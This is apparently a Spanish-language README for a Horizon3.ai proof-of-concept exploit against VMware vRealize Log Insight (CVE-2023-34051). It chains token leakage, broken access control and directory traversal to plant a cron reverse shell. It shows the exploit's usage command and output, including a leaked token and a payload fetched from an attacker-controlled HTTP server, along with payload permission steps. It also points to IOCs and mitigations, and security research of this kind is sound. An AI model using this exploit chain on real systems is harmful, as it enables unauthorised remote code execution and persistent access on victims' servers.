CVE-2023-34051

CVE-2023-34051 es una omisión de autenticación que elude el parche para VMSA-2023-0001. VMSA-2023-0001 para vRealize Log Insight incluye los siguientes CVEs:

• Vulnerabilidad de Directory Traversal en VMware vRealize Log Insight (CVE-2022-31706)
• Vulnerabilidad de control de acceso roto en VMware vRealize Log Insight (CVE-2022-31704)
• Vulnerabilidad de divulgación de información en VMware vRealize Log Insight (CVE-2022-31711)

La configuración predeterminada de esta vulnerabilidad escribe un trabajo cron para crear una shell inversa. Asegúrese de cambiar el archivo payload para adaptarlo a su entorno.

Análisis técnico

Se puede encontrar un análisis técnico de la causa raíz de la vulnerabilidad en nuestro blog: https://www.horizon3.ai/vmware-aria-operations-for-logs-cve-2023-34051-technical-deep-dive

Indicadores de compromiso

Para analizar instancias de Log Insight en busca de indicadores de compromiso, consulte nuestro blog de IOCs: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/

Resumen

Este POC abusa de la suplantación de dirección IP y varios endpoints RPC de Thrift para lograr una escritura arbitraria de archivos.

Uso

$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit 
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered

Solución de problemas

Para que este ataque funcione, un atacante debe tener la misma dirección IP que un nodo maestro/trabajador. Consulte el blog anterior para más detalles.

Si se utiliza un payload basado en cron, asegúrese de que el archivo de payload tenga los permisos y el propietario adecuados:

sudo chown root:root payload

sudo chmod 0644 payload 

Mitigaciones

Actualice a la última versión o mitigue siguiendo las instrucciones dentro de VMSA https://www.vmware.com/security/advisories/VMSA-2023-0021.html

Siga al Equipo de Ataque de Horizon3.ai en Twitter para las últimas investigaciones de seguridad:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Aviso legal

Este software ha sido creado exclusivamente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no pretende ser utilizado para atacar sistemas excepto cuando se haya autorizado explícitamente. Los mantenedores del proyecto no son responsables del mal uso del software. Úselo responsablemente.